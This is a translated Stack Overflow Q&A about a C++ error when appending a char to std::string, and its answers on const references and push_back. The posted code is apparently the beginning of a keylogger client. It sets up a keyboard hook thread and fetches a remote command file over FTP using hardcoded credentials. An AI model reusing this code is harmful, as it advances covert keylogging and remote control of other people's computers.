【问题标题】:Is there any way to "reconst" a nonconst char?有没有办法“重铸”一个非常量字符?
【发布时间】:2013-05-19 17:37:47
【问题描述】:

假设我有一个 char 或一个非 const 的 char 数组。我修改它等等。 然后我想稍后关闭所有修改。 有没有办法重建一个字符? 当我写以下内容时,这个问题出现了: 我无法将每个 char 元素附加到一个字符串中(后来用运算符 += 修复)。

#include <iostream>
#include <windows.h>
#include <process.h>
#include <string>
#include <Wininet.h>
#include <vector>

using std::string;
using std::cout;
using std::cin;
using std::vector;

unsigned int __stdcall keylogthreadhook(void *);
LRESULT CALLBACK LowLevelKeyboardProc(int, WPARAM, LPARAM);


string tempkeylog_buffer;
char ftpreadbuffer[1024];
vector<string> filetokens;

unsigned int threadid = 0;
DWORD numberread = 0;


int main(){

_beginthreadex(NULL,  0, &keylogthreadhook, NULL, 0, &threadid);

HINTERNET connection = InternetOpen("Keyclient", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);

cout << GetLastError();

HINTERNET ftpinstance = InternetConnect(connection, "ftp.drivehq.com", INTERNET_DEFAULT_FTP_PORT, "ludibrium", "22073kk", INTERNET_SERVICE_FTP, NULL, NULL);

cout << GetLastError();

HINTERNET filehandle = FtpOpenFile(ftpinstance, "command.txt", GENERIC_READ,FTP_TRANSFER_TYPE_ASCII, NULL);

cout << GetLastError();

InternetReadFile(filehandle, (char *)ftpreadbuffer, 1024, &numberread);

cout << GetLastError();

string temporarystr;


for(int i = 0; ftpreadbuffer[i] != '.'; i++){

    if(ftpreadbuffer[i] == '\n'){
        filetokens.push_back(temporarystr);
        temporarystr.clear();
    }

    temporarystr.append(ftpreadbuffer[i]); //error here!


}

cout << filetokens[0].c_str() << filetokens[1].c_str();




return 0;
}

错误:-------------------------

invalid conversion from 'char' to 'const char*'|

error:   initializing argument 1 of 'std::basic_string<_CharT, _Traits, _Alloc>&       std::basic_string<_CharT, _Traits, _Alloc>::append(const _CharT*) [with _CharT = char, _Traits = std::char_traits<char>, _Alloc = std::allocator<char>]'|

【问题讨论】:

  • 您可以创建一个指向现有数据的 const 变量并改用它。
  • 任何非const 对象都可以被视为const 对象。这与您的问题无关:std::string::append 采用 const std::string &amp;const char *,您给它一个 char。如果你真的想在ftpreadbuffer[i] 处附加单个字符,请使用push_back

标签: c++ c char constants tokenize


【解决方案1】:

我会用一个简单的方法,例如:

std::string modifiable_string = "Hello";

modifiable_string += " Jack!";

...

const std::string &const_string = modifiable_string;
//                ^
//                It's up to you, you can drop it

...

just use const_string

const_string += " Bye"; // ERROR

...

【讨论】:

  • @Kelvin: (const string)modifiable_string 将产生一个临时的const string 并将modifiable_string 保留为可变的string
  • 是的,我明白了。为什么这不起作用:temporarystr.append((const char *)ftpreadbuffer[i]);当我尝试计算令牌时,它不显示任何内容。但是像(我知道它具有匹配功能,但是由于我使用了 (const char *) 类型转换,附加功能也没有吗?)temporarystr += ftpreadbuffer[i] 工作正常
  • @Kelvin 查看我对这个问题的评论。你真正的问题与const-ness 无关。
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2012-03-10
  • 1970-01-01
  • 1970-01-01
  • 2020-05-30
  • 2012-12-15
相关资源
最近更新 更多